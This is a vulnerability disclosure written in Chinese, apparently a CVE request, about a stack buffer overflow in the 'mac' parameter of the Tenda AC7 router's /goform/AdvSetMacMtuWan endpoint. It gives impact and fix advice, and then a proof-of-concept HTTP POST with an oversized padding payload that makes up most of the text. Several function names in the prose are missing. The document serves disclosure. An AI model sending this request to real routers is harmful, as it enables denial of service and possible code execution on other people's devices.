CVE ID Request (Tenda AC7 – AdvSetMacMtuWan Mac Stack Overflow) 漏洞概述 在Tenda AC7路由器固件版本V15.03.06.44（及可能更早版本）中，路由 的 参数存在栈缓冲区溢出漏洞，可导致远程任意代码执行。 方法获取用户控制的 参数，并使用 函数将其存储到栈缓冲区中。 函数不检查目标缓冲区的大小，因此如果输入数据超过缓冲区容量，就会发生栈溢出。攻击者可以使用精心构造的恶意数据执行拒绝服务攻击或实现远程任意代码执行。 影响范围 厂商: Tenda 产品: AC7 Router 固件版本: V15.03.06.44（及可能更早版本） 修复方案 更新固件至最新版本，确保所有已知漏洞已被修复。 对输入数据进行严格验证，避免使用不安全的函数如 。 实施最小权限原则，限制路由器的访问权限。 POC代码 ```http POST /goform/AdvSetMacMtuWan HTTP/1.1 Host: 192.168.0.1 Content-Length: 699 X-Requested-With: XMLHttpRequest Accept-Language: zh-CN,zh;q=0.9 Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Origin: http://192.168.0.1 Referer: http://192.168.0.1/mac_clone.html?random=0.62160163771712826 Accept-Encoding: gzip, deflate, br Cookie: password=ltfqw Connection: keep-alive wanMTU=1500&wanSpeed=0&cloneType=0&mac=1AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAA AAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAA AAAAA1AAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAAA